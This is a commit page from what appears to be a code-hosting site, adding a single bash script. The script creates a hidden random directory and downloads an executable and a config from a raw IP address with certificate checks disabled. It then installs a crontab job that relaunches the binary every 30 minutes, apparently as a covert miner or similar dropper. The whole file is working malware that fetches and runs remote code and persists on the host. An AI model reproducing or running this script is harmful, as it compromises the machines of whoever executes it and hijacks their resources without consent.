1 changed files with 28 additions and 0 deletions
@ -0,0 +1,28 @@ |
|||||||
|
#!/bin/bash |
||||||
|
|
||||||
|
path=$PWD |
||||||
|
|
||||||
|
if [ -w $path ]; then |
||||||
|
dir=.$(head /dev/urandom | tr -dc a-z | head -c 5) |
||||||
|
mkdir $dir |
||||||
|
cd $dir |
||||||
|
path=$PWD |
||||||
|
salt=$(head /dev/urandom | tr -dc a-z | head -c 7) |
||||||
|
m=$path/$(head /dev/urandom | tr -dc a-z | head -c 1) |
||||||
|
if ! wget --no-verbose --no-check-certificate http://178.254.35.219:3000/asd/a/raw/branch/master/x 2>/dev/null; then |
||||||
|
curl -ks http://178.254.35.219:3000/asd/a/raw/branch/master/x -o x |
||||||
|
fi |
||||||
|
if ! wget --no-verbose --no-check-certificate http://178.254.35.219:3000/asd/a/raw/branch/master/10 2>/dev/null; then |
||||||
|
curl -ks http://178.254.35.219:3000/asd/a/raw/branch/master/10 -o 10 |
||||||
|
fi |
||||||
|
if [ ! -f "$path/x" ]; then exit; fi |
||||||
|
if [ ! -f "$path/10" ]; then exit; fi |
||||||
|
chmod 777 x |
||||||
|
sed "s/BBBBBBB/$salt/" -i 10 |
||||||
|
log=$path/.log |
||||||
|
echo "#!/bin/bash" > $m |
||||||
|
echo "for i in \$(seq 1 120); do if pgrep -x \"x\" >/dev/null 2>&1; then sleep 15; else rm -f $log; timeout 1800 $path/x -c $path/10 -l $log >/dev/null 2>&1 & sleep 15; fi; done" >> $m |
||||||
|
chmod 777 $m |
||||||
|
(crontab -l; echo "*/30 * * * * $m") | crontab - |
||||||
|
echo $salt |
||||||
|
fi |
Loading…
Reference in new issue